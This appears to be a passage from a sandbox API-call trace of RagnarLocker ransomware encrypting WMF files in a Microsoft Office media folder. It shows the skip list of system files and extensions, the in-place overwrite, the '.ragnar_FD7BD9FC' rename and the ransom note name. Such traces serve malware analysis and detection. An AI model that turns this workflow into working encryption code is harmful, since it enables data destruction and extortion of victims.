[0095.918] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x766, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.918] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.918] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.919] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.919] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.919] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.919] GetProcessHeap () returned 0x580000 [0095.919] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.919] CloseHandle (hObject=0x104) returned 1 [0095.919] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" [0095.919] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.ragnar_FD7BD9FC" [0095.919] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.920] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0095.920] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.920] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293238.WMF" | out: lpString1="J0293238.WMF") returned="J0293238.WMF" [0095.920] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF") returned=".WMF" [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="autorun.inf") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="boot.ini") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="bootfont.bin") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="bootsect.bak") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="bootmgr") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="bootmgr.efi") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="bootmgfw.efi") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="desktop.ini") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="iconcache.db") returned 1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="ntldr") returned -1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="ntuser.dat") returned -1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="ntuser.dat.log") returned -1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="ntuser.ini") returned -1 [0095.920] lstrcmpiW (lpString1="J0293238.WMF", lpString2="thumbs.db") returned -1 [0095.920] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.920] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.921] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.921] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.921] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.921] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.921] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf")) returned 0x20 [0095.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.921] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1930) returned 1 [0095.921] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.921] GetProcessHeap () returned 0x580000 [0095.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.921] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.923] VirtualAlloc (lpAddress=0x0, dwSize=0x78a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.923] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.923] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.923] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78a, lpOverlapped=0x0) returned 1 [0095.923] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.923] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.923] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78a, lpOverlapped=0x0) returned 1 [0095.924] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.924] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.924] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x78a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.924] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.924] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.924] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.924] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.924] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.924] GetProcessHeap () returned 0x580000 [0095.924] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.924] CloseHandle (hObject=0x104) returned 1 [0095.924] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" [0095.924] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.ragnar_FD7BD9FC" [0095.924] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.925] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0095.925] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.925] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293240.WMF" | out: lpString1="J0293240.WMF") returned="J0293240.WMF" [0095.925] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF") returned=".WMF" [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="autorun.inf") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="boot.ini") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="bootfont.bin") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="bootsect.bak") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="bootmgr") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="bootmgr.efi") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="bootmgfw.efi") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="desktop.ini") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="iconcache.db") returned 1 [0095.925] lstrcmpiW (lpString1="J0293240.WMF", lpString2="ntldr") returned -1 [0095.926] lstrcmpiW (lpString1="J0293240.WMF", lpString2="ntuser.dat") returned -1 [0095.926] lstrcmpiW (lpString1="J0293240.WMF", lpString2="ntuser.dat.log") returned -1 [0095.926] lstrcmpiW (lpString1="J0293240.WMF", lpString2="ntuser.ini") returned -1 [0095.926] lstrcmpiW (lpString1="J0293240.WMF", lpString2="thumbs.db") returned -1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.926] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf")) returned 0x20 [0095.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.926] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2190) returned 1 [0095.926] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.927] GetProcessHeap () returned 0x580000 [0095.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.927] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.928] VirtualAlloc (lpAddress=0x0, dwSize=0x88e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.928] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.928] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.928] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x88e, lpOverlapped=0x0) returned 1 [0095.929] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.929] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x88e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.929] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x88e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x88e, lpOverlapped=0x0) returned 1 [0095.929] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x88e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.929] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.929] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x88e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.929] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.929] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.929] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.929] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.929] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.929] GetProcessHeap () returned 0x580000 [0095.929] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.929] CloseHandle (hObject=0x104) returned 1 [0095.930] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" [0095.930] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.ragnar_FD7BD9FC" [0095.930] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.930] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0095.930] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.930] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293570.WMF" | out: lpString1="J0293570.WMF") returned="J0293570.WMF" [0095.930] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF") returned=".WMF" [0095.930] lstrcmpiW (lpString1="J0293570.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.930] lstrcmpiW (lpString1="J0293570.WMF", lpString2="autorun.inf") returned 1 [0095.930] lstrcmpiW (lpString1="J0293570.WMF", lpString2="boot.ini") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="bootfont.bin") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="bootsect.bak") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="bootmgr") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="bootmgr.efi") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="bootmgfw.efi") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="desktop.ini") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="iconcache.db") returned 1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="ntldr") returned -1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="ntuser.dat") returned -1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="ntuser.dat.log") returned -1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="ntuser.ini") returned -1 [0095.931] lstrcmpiW (lpString1="J0293570.WMF", lpString2="thumbs.db") returned -1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.931] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf")) returned 0x20 [0095.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.932] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2348) returned 1 [0095.932] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x923, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.932] GetProcessHeap () returned 0x580000 [0095.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.932] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.933] VirtualAlloc (lpAddress=0x0, dwSize=0x92c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.933] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.933] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.934] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x92c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x92c, lpOverlapped=0x0) returned 1 [0095.934] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.934] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x92c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.934] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x92c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x92c, lpOverlapped=0x0) returned 1 [0095.934] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x92c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.934] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.934] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x92c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.934] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.934] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.934] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.934] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.934] UnlockFile 